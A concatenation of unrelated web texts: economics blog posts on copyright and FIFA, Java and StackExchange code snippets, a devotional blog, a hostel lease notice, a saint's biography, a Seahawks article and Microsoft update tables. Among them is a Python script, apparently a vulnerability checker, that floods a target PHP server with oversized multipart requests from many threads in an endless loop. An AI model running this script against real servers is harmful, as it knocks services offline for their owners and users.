text:
You are currently browsing the monthly archive for June 2015.
Copyright and Added Value
June 22, 2015 in economics, Game Theory | Tags: copyright, pricing | by rvohra | 1 comment
Three items on copyright and revenue all on the same day.
First, is Taylor Swift's open letter to Apple upbraiding them for not paying royalties to artists for their music during the trial period of its new streaming music service. It caused the weenies at Apple to change their tune.
Second, a high court ruling in the UK which erased an earlier UK decision that made it lawful for users to copy purchased content for personal use. Related is freedom of panorama which permits the photographing of copyrighted buildings and sculptures in public places. Up for vote this summer before the European parliament is legislation that would restrict such rights.
The Swift letter echoes the points she made earlier when she pulled her wares from Spotify:
"In my opinion, the value of an album is, and will continue to be, based on the amount of heart and soul an artist has bled into a body of work, and the financial value that artists (and their labels) place on their music when it goes out into the marketplace."
One of the more poetic renditions of the labor theory of value I've read. Here is another line from the same missive:
"Valuable things should be paid for."
No. Its the added value of a good or service that commands a premium. Pearsall-Smith got this right when writing of the novelists of his age.
"The diction, the run of phrase of each of them seems quite undistinguishable from that of the others, each of whose pages might have been written by any one of his fellows."
Thus, the question is whether the heart and soul each artist bleeds into their work serve to differentiate it in a way that matters from others. The effectiveness of music recommender systems suggests not.
Enough of `Swiftian' logic and lets turn to the UK high court ruling. The Electronic Frontier Foundation complained that it contained more economic theory than common sense. An irritating remark as the level of theory barely exceeded that you would find in an intermediate micro-economics course. It makes me wonder whether the pundits at the EFFs ever went to college.
The ruling is a perfect example of how consistency can become a procrustean bed. The UK government had earlier made the duplication of copyrighted material for personal use legal. It claimed that its reasons for doing were consistent with an EU copyright directive that requires the copyright holder to be compensated for forgone revenues lost to copying. The Judge concluded that the government's rulings were, in fact, inconsistent with the EU directive and overturned it making copying for personal use illegal.
The law, as Dickens said, is an ass (the quadruped not the posterior). So, lets focus on the economics. The ruling by the way quotes Varian's 2005 piece in the Journal of Economic Perspectives as well as Boldrin and Levine.
Suppose I sell you a song in a medium which is costly to reproduce and transport. If you want to listen to the song both at home and in your office you must purchase two copies. Now, a sea change. The medium on which the song is transmitted changes. The cost of duplication and transport is now zero. Am I worse off? If I am, then under the EU directive I should be compensated for this loss.
With this sea change, you would buy one fewer copy. However, I, recognizing the sea change gives you the same benefit as buying two copies, can simply raise my price to account for this. The High court ruling called this pricing-in and the case turned upon whether the music seller, me in this example, could perfectly price-in. If not, then under the EU directive I am entitled (bizarre, I know) to compensation for lost profits.
If the sea change allows you to consume music in ways you previously could not (in the bathroom, in your car at night etc.) then it seems obvious that I could anticipate this and price-in. If the sea-change allows you to copy and distribute my music costlessly, then, I may be forced to sell my music at a discount or withhold it (see the Varian paper for intermediate cases). Whether I am harmed or not depends on whether you intend to use the sea change for personal use or to compete with me.
Interestingly, the discussion in the ruling as well as Varian's paper ignores those who own the devices for transmitting, duplicating, storing and playing the music. Lets use the example in Varian pg. 11. You are willing to pay $20 for home use of a CD and $10 (actually 10 to break ties) for office use. The cost of copying is initially infinity.
The revenue maximizing price is clearly $20 for a CD, unless I could use a 2-part tariff. Now a third party develops a technology for copying CDs that is simple and convenient. Copying is now legal. Under the pricing-in story I should just charge $30 (assuming you have the technology). I'm better off and you are no worse off. However, we have ignored the owner of the copying technology. You, the music consumer have $30 to shell out. I can certainly capture $20 of it but to capture the remaining $10, I need the owner of the copying technology. Any simultaneous split of the $10 is a Nash equilibrium. The point is that the music and the technology that allows one to copy, format shift etc complements the music itself. That $10 is a joint gain to the owner of the song as well as the owner of the copying technology. One might argue that the owner of the copying technology is entitled to the full $10 as it is her innovation that allowed one to capture it. Hence, the copyright holder, me in this example, suffers no loss from the fact you can now copy my music.
Sampling From Novels
June 21, 2015 in economics | Tags: enemies of promise, literature and economics | by rvohra | Comments closed
Consider the following passage:
The first sound in the mornings was the clumping of the mill-girls' clogs down the cobbled street. Earlier than that, I suppose, there were factory whistles which I was never awake to hear. There were generally four of us in the bedroom, and a beastly place it was, with that denied impermanent look of rooms that are not serving their rightful purpose. One afternoon, early in October, I was invited to black coffee at Fritz Wendel's flat. Fritz always invited you to 'Black coffee' with emphasis on the black. He was very proud of his coffee. People used to say that it was the strongest in Berlin. Fritz himself was dressed in his usual coffee-party costume–a very thick white yachting sweater and very light blue flannel trousers.
Was it written by George Orwell or Christopher Isherwood? In fact, both. Its part of a longer passage composed by Cyril Connolly, a noted literary critic, whose name is now lost to posterity. The longer passage melds Orwell with Isherwood and Hemingway to produce something coherent (it appears in Connolly's semi-autobiographical Enemies of Promise). With current technologies one wonders if one might form an entire novel using only sentences that have appeared in various other books.
What was Connolly's purpose for sampling in this way? It was to make a point about competition for market share in literature. Best to let him relate it in his own words:
This, then, is the penalty for writing for the masses. As the writer goes out to meet them half-way he is joined by other writers going out to meet them half-way and they merge into the same creature-the talkie journalist, the advertising, lecturing, popular novelist.
Auctions for Debate Slots
June 5, 2015 in Auctions, economics, market design | Tags: primary debates | by rvohra | 2 comments
Fox News and CNN have been in knots recently about how to allocate scarce debate slots to the many Republican pretenders to the oval office. Should Poll numbers be the criteria? What about gender, race, state office etc. etc. There is a simple and transparent way to allocate the slots: an auction. Neither CNN or Fox are charities. If the debates are a public good, there is no reason why Fox and CNN alone should forgo profits to host them. They should, instead auction off the rights to participate in the debates.
What design questions would have to be answered? First, how much time to allocate to the debate, i.e., what is the supply of the resource to be allocated? Second, should one auction slots or time. For example, should it be 10 slots of equal time lengths in a 2 hour time period? Or, should one allow the bidders to bid on the actual amount of time they would get in the 2 hour period? Are candidates the only ones allowed to bid, or can anyone submit bids on their behalf? Can one bid to deny time to the candidates? Actually, as these are not debates at all, but parallel news conference, perhaps one should auction off the right to answer questions. In real time. That would be entertainment!
Hannah & Her Sweets
June 5, 2015 in education | Tags: GCSE, Hannah | by rvohra | 5 comments
In England, a number of students who took the GCSE mathematics test have been complaining about a question involving Hannah and her sweets. Here is the question:
There are sweets in a bag. Six of the sweets are orange. The rest of the sweets are yellow. Hannah takes a random sweet from the bag. She eats the sweet. Hannah then takes at random another sweet from the bag. She eats the sweet. The probability that Hannah eats two orange sweets is 1/3. Show that .
Not a difficult question. I would lengthen the last sentence to read: Use this information to show that must satisfy the following equation. But a pointless one. It gives the study of mathematics a bad name. How is it we know there are only two colors of sweets in the bag without knowing ? How is it we know that there are only 6 orange sweets without knowing how many yellow ones there are? Why can't I work out by emptying the bag and counting its contents? In short, students are asked to accept an implausible premise to compute something that can be done simply by other means.
Let FIFA be
June 2, 2015 in economics | Tags: auctions, FIFA | by rvohra | 1 comment
Is it the business of the US Government, indeed any government to police FIFA? Lets start with the legality of bribing of FIFA officials? Under a variety of laws related to commercial bribery, bribing them is indeed illegal. Were I to bribe the CEO of a public company to sell me, below cost, the wares of her company, it is right and proper for the shareholders to have the ability to punish the CEO. However, is it the obligation of the Government to police the CEO for the shareholders? When a FIFA spokesperson announces that it is the damaged party in this, why aren't they mounting the investigation and bringing charges against those accused of accepting bribes?
When someone burgles my house, the state, upon being informed will mount an investigation. In the event they should identify the burglar the State will, on my behalf, prefer charges and prosecute. The State does not charge me a `user fee' that is directly tied to the efforts it has made on my behalf. The expenses of the State are covered through my taxes. Were each individual to bear the full costs of investigation, prosecution and punishment, few would elect to do so unless the private gains exceeded the costs. This in a nutshell is the public goods argument for why the Government should police FIFA.
Government resources, however, are limited. Not every crime reported is investigated with equal fervor. Not every suspect is pursued with equal vigor. We give the Government the discretion to decide how best to provide the `public good'. What is the argument for prioritizing the prosecution of FIFA officials for accepting bribes? A New Republic article by John Affleck suggests it is to preserve the `integrity' of the game. I suppose the Bravo network is next in line for attention to preserve the `integrity' of reality TV. Affleck goes on to quote Transparency International:
"Sport is a multi-billion dollar business engaging billions of people. It is also a global symbol of fair play and a source of great joy for many people on this planet, whether participating, attending or watching events," the group's introductory statement says. "With so much public involvement, political influence and money at stake, corruption remains a constant and real risk. Mounting scandals around match-fixing, major events and elections, and systemic deficiencies in sports governance are now so undermining public trust that it is reaching a tipping point."
Billions of people can vote with their eyeballs. Read a book, watch Real Housewives of Atlanta, have sex, see a play. There are many ways in which we can spend our time while hanging around waiting to die. Soccer is just one. If Soccer is in danger of losing its audience surely this is a powerful incentive for FIFA `clean up'. The private benefits probably exceed the private costs of enforcement.
What if FIFA itself suffers from a collective action problem? Each official by themselves would prefer not to take bribes, but given everyone else is doing so, what is one to do? This is easily solved. Allow FIFA officials to be bribed. Instead of running beauty contests to decide where to hold FIFA events, auction off the right to the highest bidder. This can be done in two ways. Allow each FIFA official with a vote to auction off their vote to the highest bidder. Or, do away with the officials altogether and have countries bid directly for the right to hold FIFA events. Full transparency, no bribery and FIFA may be richer than before!


text:
package com.ibm.profiler.cassandra;

import java.util.concurrent.ExecutionException;
import java.util.concurrent.Executor;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;

import com.datastax.driver.core.PreparedStatement;
import com.google.common.util.concurrent.ListenableFuture;

public class ProfiledListenableFutureForPreparedStatement implements ListenableFuture<PreparedStatement> {

    private final ListenableFuture<PreparedStatement> listenableFuture;

    public ProfiledListenableFutureForPreparedStatement( ListenableFuture<PreparedStatement> prepareAsync ) {
        this.listenableFuture = prepareAsync;
    }

    @Override
    public boolean cancel( boolean mayInterruptIfRunning ) {
        return listenableFuture.cancel( mayInterruptIfRunning );
    }

    @Override
    public boolean isCancelled() {
        return listenableFuture.isCancelled();
    }

    @Override
    public boolean isDone() {
        return listenableFuture.isDone();
    }

    @Override
    public PreparedStatement get() throws InterruptedException, ExecutionException {
        PreparedStatement preparedStatement = listenableFuture.get();
        if ( preparedStatement != null ) {
            preparedStatement = new ProfiledPreparedStatement( preparedStatement );
        }
        return preparedStatement;
    }

    @Override
    public PreparedStatement get( long timeout, TimeUnit unit ) throws InterruptedException, ExecutionException, TimeoutException {
        PreparedStatement preparedStatement = listenableFuture.get( timeout, unit );
        if ( preparedStatement != null ) {
            preparedStatement = new ProfiledPreparedStatement( preparedStatement );
        }
        return preparedStatement;
    }

    @Override
    public void addListener( Runnable arg0, Executor arg1 ) {
        listenableFuture.addListener( arg0, arg1 );
    }

}

redpajama_set_name: RedPajamaGithub


text:
Q: change the dimension of div when zooming on android? I want to know if it is possible to change margin-left of a div when zooming on android so that the div can align the screen.
The div I want to resize is in the div with style width:100%.
Thanks all.

A: Short answer, no not really.  The webview blocks this because they want users to be able to zoom, not have users try to zoom in and programmers resize their content instead.  You can block zoom functionality, or use a mobile framework like jquery mobile, sencha touch, or jqmobi, but there is not window.resize style listener.  Sorry.

redpajama_set_name: RedPajamaStackExchange


text:
"""
Author: Shusheng Liu,The Department of Security Cloud, Baidu
email: liusscs@163.com
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */

PHP DOS 69364
"""
import sys
import urllib, urllib2
import datetime
from threading import Thread
from multiprocessing import Process
from optparse import OptionParser
import random
import string

def http_proxy(proxy_url):
    proxy_handler = urllib2.ProxyHandler({"http": proxy_url})
    null_proxy_handler = urllib2.ProxyHandler({})
    opener = urllib2.build_opener(proxy_handler)
    urllib2.install_opener(opener)

def check_php_multipartform_dos(url, post_body, headers):
    req = urllib2.Request(url)
    for key in headers.keys():
        req.add_header(key, headers[key])
    starttime = datetime.datetime.now();
    try:
        fd = urllib2.urlopen(req, post_body)
    except urllib2.HTTPError, e:
        print e

    # html = fd.read()
    endtime = datetime.datetime.now()
    usetime = (endtime - starttime).seconds
    if usetime > 5:
        result = url + " is vulnerable"
    else:
        if usetime > 3:
            result = "need to check normal respond time"
        else:
            result = "normal"
    return [result, usetime]

def main(options, args):
    """
    * normally the lines 350000 is sufficient, otherwise 413 request entity too large
    * increasing number of threads would be great
    """
    # http_proxy("http://127.0.0.1:8089")
    if options.target:
        target = options.target
    else:
        return

    num = options.lines

    headers = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
               'Accept-Encoding': 'gzip, deflate',
               'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
    body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
    ch = random.choice(string.ascii_lowercase)
    payload = "\n".join(ch * num)
    body += payload
    body += "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"

    print "Starting..."
    respond = check_php_multipartform_dos(target, body, headers)
    print "Result: ",
    print respond[0]
    print "Respond time: " + str(respond[1]) + " seconds"

class WorkerMixin():
    def __init__(self, options, args):
        self.options = options
        self.args = args

    def run(self):
        while True:
            main(self.options, self.args)

class WorkerThread(WorkerMixin, Thread):
    def __init__(self, options, args):
        WorkerMixin.__init__(self, options, args)
        Thread.__init__(self)

class WorkerProcess(WorkerMixin, Process):
    def __init__(self, options, args):
        WorkerMixin.__init__(self, options, args)
        Process.__init__(self)

if __name__ == "__main__":
    parser = OptionParser()  # option parse is deprecated
    parser.add_option("-t", "--target", action="store",
                      dest="target",
                      default=False,
                      type="string",
                      help="test target"
                      )

    parser.add_option("-l", "--lines", action="store",
                      dest="lines",
                      default=350000,
                      type="int",
                      help="lines of content"
                      )

    parser.add_option("-n", "--threads", action="store",
                      dest="threads",
                      default=30,
                      type="int",
                      help="number of threads"
                      )

    parser.add_option("-p", "--process", action="store_true",
                      dest="process",
                      default=False,
                      help="run it using process instead of thread"
                      )

    (options, args) = parser.parse_args()
    print "number of threads: %d" % options.threads
    print "number of lines: %d" % options.lines

    if options.process:
        print "running with Process"
        for i in xrange(options.threads):
            WorkerProcess(options, args).start()
    else:
        print "running with Thread"
        for i in xrange(options.threads):
            WorkerThread(options, args).start()


Are you familiar with the famous Abbott and Costello routine? It's all about confusion. They are both talking about the same thing, but neither one understands why the other has no idea what the other is saying. They both think they are communicating clearly, but it ends up being a big misunderstanding with lots of frustrating moments. It's very funny to watch. It's also a lot like my life at times. Yes?
Where you were going is not where you end up.
You tell your kids, spouse, co-workers, or anyone else you want to add to the list, things that are important to you or important to what they are doing and they look at you like there are lobsters crawling out of your ears. What language must you be speaking? Don't they know that what you have for them is important, because you said so?
It makes you feel, as my Aaron would say, a little "cray cray" (crazy).
All of the sudden the path you thought you were taking has been derailed. There was a miscommunication. You were directing them for good……..
Wait a minute……you…..ummm…should there be someone else first?
Matthew 6:33-34 But seek first the kingdom of God and all these things will be given to you as well. Therefore do not worry about tomorrow for tomorrow will worry about itself. Each day has enough trouble of its own.
This is one of the verses in the Journey devotion today. The devotion is about the role we see ourselves playing on a daily basis and what sort of significance we feel. It's illustration relates to moms, but the theme is pretty universal.
We all want to feel like we are making a difference and that what we do is important. We want to guide those we love. I believe it is easy to get caught up in our day-to-day routine and forget the big picture. I know I do. Today's schedule and tomorrow's schedule and what is going to happen next week consumes my life until I am like a fire deprived of oxygen. The air is sucked right out of my life.
Are you ruled by schedules, check lists and the demands of things around you?
Sometimes, even though I feel drained, I'm drowning in a sea of priorities and expectations that are not mine.
Can I get an Amen my sisters?
It is at this point we should maybe re-evaluate where we are going and what we are doing.
We are lucky to have each other to help us along the way. When one is down, the rest can pick her up. That way our lives don't sound, look or feel like an Abbott and Costello skit with no direction.
And on that note, would anyone be interested in starting their mornings off seeking God together? I'm an early morning gal and would love to join anyone else who may be at McDonald's on Tuesday mornings. I will be there at 6:30, or shortly after, because I have to be at work at 7:30. If you would like to spend a 1/2 hour on a study or devotional or a cup of coffee and a friend, that can start at 6:45. Let me know if you'd like to start your Tuesdays this way. I think it could be a fun treat – at least for the summer and maybe into the school year.


Recommended when there is not enough space or the exit is rarely used.
It is a simple, economic and long-lasting system which allows to replace the fabrics at a low cost. The great variety of special profiles and brushes provide installation solution in difficult spaces.
A wide range of colors including standard RAL, wood imitations and foliated profiles.
This solution is recommended for openings that are used rarely or never. It is a simple, economic system. It comes in a wide range of colours that makes it a good fit with any joinery.


text:
Q: how to communicate using functions that share similar instance variable? How can I update the raise salary to reflect on annual salary? Assuming I have created an object from class to access them if salary was 10,000, then salary raise of 2% gives me the updated salary as well as updating the annual function?
public class Employee {
    private String first_Name;
    private int id;
    private String last_Name;
    private double salary;

    public Employee(String first_Name, String last_Name, int id, double salary) {
        this.first_Name = first_Name;
        this.last_Name = last_Name;
        this.id = id;
        this.salary = salary;
    }

    // Getters + setters...

    public double get_Annual_Salary() {
        return salary * 12;
    }

    public double raise_Salary(double p) {
        // raise salary by percentage (e.g 2% etc)
        return salary * p / 100;
    }
}

A: As Robby Cornelissen points out the formula to calculate the updated salary is salary = salary * (1 + p / 100);
Using that you can modify your raise_salary method to update the local salary variable.
public double raise_Salary(double p) {
        salary = salary * (1 + p / 100);
        return salary;
    }

Now when you call the get_Annual_Salary() method it will return the annual salary using the employee's updated salary.


Once upon a time a second year, PT student and some buddies started a blog on with the hopes of providing future PT Students tools to facilities professional growth. Fast forward 6+ years and that guy's blog is now getting over 65,000 (yes thousand) hits a month. Who is this PT/Blog superstar you ask? On episode 61 of the PT Entrepreneur Podcast, I find him. His name is Jim Heafner and he is one of the founders and content creators for the Student PT blog and the owner of Heafner Health, which is a Boulder, CO-based cash practice. Find out Jim's secret to starting and marketing a successful blog.


Plug into Great Sound with Hama With this MP3 3.5mm jack - 2 RCA (phono) cable from Hama you can dance the night away as it allows you to connect portable devices to an amplifier or radio with minimal fuss - simply connect each end to the relevant device. Perfect for parties when you want to amplify your music and play it in a house or hall. Functioning well with a variety of portable devices, including MP3 players such as iPods and iRivers, it is extremely practical and has a wide scope of useful applications with the majority of common MP3 players and audio devices with a 3.5mm jack plug socket. Extending up to 2m, the cable can reach long distance and is not just limited to a compatible device nearby, but gives ample freedom of movement to reach around obstacles such as furniture and extend safely around the room without causing any hazards. Possessing gold plated contacts and a flexible but durable casing, each cable is of superior quality to ensure consistently reliable and interrupted transfer of data/music to the terminal device so you can fully enjoy your chosen sounds at their best for a long time to come. Let your music be heard!
Want to know when Hama Connecting Cable, 3.5 mm jack plug - 2 RCA plugs, 2 m - shop4megastore.com drops below a certain price? Enter your email address and price below and we'll let you know when it drops below that price!


text:
Tag: business opportunity
Acheninver Youth Hostel to Lease
February 1, 2016 February 1, 2016 Local Development Officer
CCDC is delighted to report that Acheninver Youth Hostel looks like having a brighter future. Scottish Wildlife Trust, who own the building and the Ben Mor Estate on which it sits, are inviting applications to lease the hostel. This offers someone with energy and enthusiasm an exciting opportunity to build a business and a life for themselves in an amazing place in the North West Highlands.
Acheninver Youth Hostel is on the Coigach Peninsula, and forms part of the community known sometimes as Achiltibuie (though strictly speaking, this only refers to the area from the church to the school). Roughly, Coigach covers the coastal area from Reiff to Culnacraig – (about 10 miles) with a population of approximately 250.
We are looking for someone with good ideas and practical skills who can: maintain and develop the hostel in some way to benefit the local community and economy; keep Coigach on the map as a great place for visitors and create a rewarding future for themselves as part of that community.
Coigach has spectacular scenery with mountains, moorland and a rugged coastline interspersed with sandy beaches overlooking the Summer Isles. The area is understandably popular with walkers, climbers, kayakers and anyone who enjoys the great outdoors. There is a small primary school, a hotel, two pubs, a couple of cafes, a craft shop and a comfortable community village hall which is a great asset. Coigach is part of a National Scenic Area and is also within the North West Highlands Geopark.
"But what do you do in the winter?" is a frequently asked question. The answer is we just get on with it! People work all year, go to school, and those that are involved in the (largely seasonal) tourism business sometimes remark that it's good to have a bit of time to catch up! Though small, we are a very sociable community – regular community events at the village hall are well attended, well fed and fun. There are opportunities for people with shared interests to get together: skiff-rowing, music, singing, dancing, fishing, walking, photography, circuit-training, crafts – there is very little opportunity to get bored and no excuse to avoid exercise!
However, the area is not without its challenges. Described as "fragile" the community has suffered as result of de-population and a lack of opportunities for (particularly) younger people. Many of our young people have embraced education and a sense of adventure and gone off to find out for themselves what the wider world has to offer. This is good and Coigach has a broad and far-flung diaspora. Unfortunately it has become increasingly difficult for people to return to or come to live in Coigach. This is partly due to a lack of available, affordable housing and employment. CCDC (Coigach Community Development Company) was set up in 2010 to tackle some of these challenges and to help create a sustainable future for the community. We currently have planning permission for a wholly community-owned wind turbine which will generate an income to invest in local projects. We have two part-time employees funded by HIE (Highlands and Islands Enterprise) and as well as working on our development plan, we support and promote any projects which we feel will benefit the community. Hence our involvement here.
So come on if you think this is for you – details of the application process are in the Acheninver Hostel Prospectus documents below and the closing date is 21st February so don't hang about!
Acheninver Hostel Prospectus 1
Acheninver Hostel Prospectus 2 Plans
Items of community interest. Achiltibuie, airbnb, bed and breakfast, business opportunity, climbing, Coigach, couch surfing, eco tourism, environment heritage, highlands, hospitality, Hostel, mountaineering, start a business, walking 1 Comment
What's the future for Achininver Youth Hostel?
November 9, 2015 November 9, 2015 Local Development Officer
If you heard us on BBC Scotland Out of Doors (broadcast Saturday 7th November, and available on iPlayer until early December) you will know that the hostel is now closed and the lease between owners Scottish Wildlife Trust (SWT) and the Scottish Youth Hostel Association has now come to an end.
You'll see from our previous post that the hostel's future was in question and we invited interest from people who would interested in taking on the lease (if that was an option), and there was a very positive response. We were able to tell the owners that there were, (as we suspected) willing folk out there who were keen to take on the lease, run the hostel or at least find out more about it.
We have since been told by SWT, that after much deliberation, they have decided they to sell the hostel in early 2016. This would come with burdens that would take into consideration (and benefit) the hostel's heritage, and the local community – and there has been some interest in this too.
More recently we understand that has not been finalised so if you are interested in the hostel – either to lease or buy please get in touch and we'll forward your enquiry on to SWT. Alternatively, you can get in touch directly:
SWT Contact Form
Items of community interest. Acheninver, Achiltibuie, Achininver, Auchiltibuie, BBC Out of Doors, business opportunity, highlands, walking, Youth Hostel Leave a comment

redpajama_set_name: RedPajamaCommonCrawl


text:
Saint of the Day – 23 October – Saint Allucio of Campugliano (c 1070–1134)
Posted on October 23, 2021 October 22, 2021 by AnaStpaul
Saint of the Day – 23 October – Saint Allucio of Campugliano (c 1070–1134) Layman, Apostle of the poor and of pilgrims, Penitent, peace-maker., miracle-worker. Born in c 1070 in Campugliano, Italy and died on 23 October 1134 in Campugliano, Italy of natural causes. Patronage – Diocese of Pescia, Italy, (proclaimed in 2000 by the Congregation for the Causes of Saints).
Allucio was born in Valdinievole near Pescia to Omodeo, a prosperous rural landowner. He spent his youth shepherding the family's flock before devoting his life to acts of charity.
His journey of assisting pilgrims and travellers began with the restoration of the Hospice of Campugliano, which was practically in ruins. It was entrusted to his industrious piety. Allucio brought the building back to an admirable Shelter, in which work he was assisted by some comrades, who were rich like himself, in the zeal of charity. These friends formed the core of the Lay Apostalate which was later called Brothers of SaintAllucio.
To better assist the poor and needy, the young Allucio founded another hospice on Monte Albano. He created a third one near the bank of the Arno, over which he even built a bridge, for the convenience of pilgrims. The latter was not an easy ndertaking, not only for the technical problems but because Allucio had to convince and appease the local ferryman, who earned hefty earnings by carrying travellers from one bank to the other.
According to tradition, miracles multiplied in great numbers around the benefactor of the poor. For this reason, real diplomatic missions were delegated to him in distant Cities, which Allucio carried out successfully, managing to pacify them, for example, the two rival Cities of Ravenna and Faenza came at last to peace through his negotiations.
Among the miraculous interventions handed down by devotion, the most unusual was that of the man whose eyes had been gouged out, as punishment for some crime committed, according to the so-called "retaliation law," common in the Middle Ages. Not out of contempt for justice but out of pity for the blinded, even if guilty, Allucio put his eyes back in the hollow sockets of the condemned, restoring his sight.
He built two Churches, a bridge over the Arno, three Shelters and Hospices for pilgrims and other travellers, including one on his own properties at Campigliano near Uzzano and others in mountain passes and river crossings. He was a generous almsgiver and carer of the sick and the poor. In all this work, the "Brothers of Saint Allucio," grew in numbers and in their charitable works and became an powerful Apostolate.
As active as he was in doing good, he was equally strict with himself. He never ate meat, nor cheese, nor eggs. He fasted three times a week. And for seven consecutive Lents, he touched no food at all.
He died at Valdinievole on 23 October 1134 calm and active until the last moment. He was immediately made the subject of a lively popular cult.
His body was interred by the Brothers in the Church of Saint Luke in Campugliano. In 1344, his relics were enshrined in a stone urn at the High Altar of the Cathdral of Campugliano by Dominican Brother Paul Lapi by order of Bishop Guglielmo Dulcini of Lucca, Italy. In 1792, the relics were moved to the Chapel of Our Lady of the Rosary, Cathedral of Pescia and finally, in 1934, they were moved to the new Chapel built in his honour and dedicated to Saint Allucio in Campugliano.
He was Canonised on 23 October 1182 by the Bishop of Lucca, Italy on behalf of the Pope.
When Allucio's relics were being translated in 1344, a Vita was discovered stored in the reliquary., which contained a record of the many miracles granted at the intercession of the Saint.
Tagged: stallucioofcampugliano
Previous Post Feast of the Most Holy Redeemer, Notre-Dame-de-Grace / Our Lady of Grace in Equemauville, Honfleur, France and Memorials of the Saints – 23 October
Next Post Our Morning Offering – 23 October – Hail, O Mother!
2 thoughts on "Saint of the Day – 23 October – Saint Allucio of Campugliano (c 1070–1134)"
Stacy A. says:
Another lamp comes out from under the bushel basket! Thanks for raising my awareness. 👈👇👆👉
Yes Stacy thank you – wasn't he amazing. I just wish we could find more on his life 😪💘🤗


text:
Seahawks like having options in the backfield
Carson and Davis have both rushed for 100+ yards recently, and Rashaad Penny seems to be emerging, too.
Seahawks like having options in the backfield Carson and Davis have both rushed for 100+ yards recently, and Rashaad Penny seems to be emerging, too. Check out this story on kitsapsun.com: https://www.kitsapsun.com/story/sports/nfl/seahawks/2018/10/03/seahawks-like-having-options-backfield/1516728002/
Tim Booth, Associated Press Published 5:03 p.m. PT Oct. 3, 2018
Seahawks running back Chris Carson gained 102 yards two weeks ago against Dallas.(Photo: Elaine Thompson, AP)
RENTON — In consecutive weeks, the Seattle Seahawks produced consecutive 100-yard games rushing from running backs, which is a massive accomplishment considering the futility the team has faced for more than a season trying to run the ball.
Adding to the novelty of the accomplishment: it was two different running backs reaching the century mark, and neither of them was rookie first-round pick Rashaad Penny.
"We really needed to focus and establish that we could run the football and find our offensive line's nature," Seattle coach Pete Carroll said. "I think we've really tapped into that. That's really important and it's a long, long season."
Seattle's promise throughout the offseason of returning to being a run-first offense has finally come to fruition in the past two weeks, and not surprisingly the Seahawks have won two straight. Two weeks ago against Dallas, Chris Carson rumbled for 102 yards in a 24-13 victory. He became the first Seahawks running back to reach the century mark after 22 straight regular season games without a back getting to the 100-yard mark.
And last week at Arizona, veteran Mike Davis rushed 21 times for 101 yards and two touchdowns in the 20-17 win over the Cardinals.
The last time the Seahawks had any running back rush for 100 yards in consecutive games was Weeks 10 and 11 of the 2014 season when Marshawn Lynch did it and Seattle was on its way to a second straight NFC championship and Super Bowl appearance.
Yeah, it had been a while.
"I think our emphasis has been to really make sure and get this knocked out and I didn't feel like we got it done the first two weeks and if anything, we had maybe gone overboard," Carroll said. "Carrying the ball thirty times gives you a chance to play really good football and that means you're really committed and it's clear. We'll build from here."
Mike Davis rushed for 101 yards and two touchdowns on Sunday against the Arizona Cardinals. (Photo: Rick Scuteri, AP)
Carson having a 100-yard game has been an expectation since this time last year when he was showing promise as a rookie before a season ending lower-leg injury. The surprise wasn't Davis having that much success against the Cardinals, but rather the fact his carries seemed to come at the expense of Penny.
Seattle spent a first-round pick on Penny for a reason, but those skills as a runner haven't emerged yet. The rookie was slowed during training camp by a small hand fracture that left him only doing conditioning on the side and not getting a chance to take part in most of the preseason. Penny had 20 carries for 43 yards through the first three games, but finally showed some flash last week against the Cardinals with nine carries for 49 yards.
"I'm just getting comfortable and being confident and I that is something that is slowly happening, especially after last week," Penny said.
Penny said the time on the sideline dealing with the hand injury and the subsequent surgery threw him off track and it's taken about a quarter of the regular season to finally get back to where he was at the start of training camp. But that means accepting being in a rotation at running back for now. Carson is expected back this week against the Rams and Carroll said Davis will be given more opportunity after his performance last week.
"I'm finally working at being back to who I was and being back into that form and shape of that guy who they drafted," Penny said. "I can't do it without the great running backs I've got in that room. They pick me up, everyone does."
Notes: Seattle signed safety T.J. Green and veteran safety/linebacker Maurice Alexander, and promoted TE Darrell Daniels from the practice squad to fill three open roster spots. Green was a second-round pick of the Colts in 2016 and appeared in 31 games over two seasons. Alexander was in training camp with Seattle and was part of the final cuts. He brings the versatility of being able to play both safety and linebacker. ... Carroll said LB K.J. Wright will not be back this week. Wright has been out since late August following knee surgery.
Rashaad Penny, the Seahawks' first-round pick in the 2018 draft, hasn't yet broken out. But he did rack up 49 yards on nine carries against the Arizona Cardinals on Sunday. (Photo: Ross D. Franklin, AP)


text:
Security update deployment information: January 9, 2018
January Release Main Support Package Deployment Tables
Microsoft Windows deployment tables
Windows Server 2008 (all editions)
Reference table
The following table contains the security update information for this software.
Security update file names
For all supported 32-bit editions of Windows Server 2008:
Windows6.0-KB4056942-x86.msu
For all supported x64-based editions of Windows Server 2008:
For all supported Itanium-based editions of Windows Server 2008:
Windows6.0-KB4056942-ia64.msu
Installation switches
See Microsoft Knowledge Base Article 934307.
You must restart the system after you apply this security update.
Removal information
WUSA.exe does not support uninstalling updates. To uninstall an update that was installed by WUSA, select Control Panel, and then select Security. Under "Windows Update," select View installed updates, and then select from the list of updates.
See Microsoft Knowledge Base Article 4056942.
Registry key verification
Note This update does not add a registry key to validate its installation.
Internet Explorer deployment tables
Internet Explorer 9, Internet Explorer 10, and Internet Explorer 11 installed on Windows (all editions)
For Internet Explorer 9 in all supported 32-bit editions of Windows Server 2008:
IE9-Windows6.0-KB4056568-x86.msu
For Internet Explorer 9 in all supported x64-based Systems Service Pack 2 of Windows Server 2008:
For Internet Explorer 10 in all supported editions of Windows Server 2012:
Windows8-RT-KB4056568-x86.msu
For Internet Explorer 11 in Windows 7 for 32-bit Systems Service Pack 1:
IE11-Windows6.1-KB4056568-x86.msu
